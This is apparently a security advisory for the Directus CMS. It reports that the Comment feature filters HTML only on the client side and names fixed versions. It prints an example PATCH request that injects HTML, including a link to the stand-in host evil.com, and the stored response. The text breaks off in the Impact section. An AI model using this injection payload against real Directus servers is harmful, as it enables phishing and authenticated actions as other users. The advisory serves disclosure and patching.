Directus is a real-time API and App dashboard for managing SQL database content. The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection. This vulerability is fixed in 10.13.4 and 11.2.0.

Affected: npm: @directus/app, npm: directus

### Summary The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.

### Details The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.

Example Request:

``` PATCH /activity/comment/3 HTTP/2 Host: directus.local

{ "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>" } ```

Example Response:

```json { "data": { "id": 3, "action": "comment", "user": "288fdccc-399a-40a1-ac63-811bf62e6a18", "timestamp": "2023-09-06T02:23:40.740Z", "ip": "10.42.0.1", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "collection": "directus_files", "item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a", "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>", "origin": "https://directus.local", "revisions": [] } } ```

Example Result:


## Impact

With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated acti…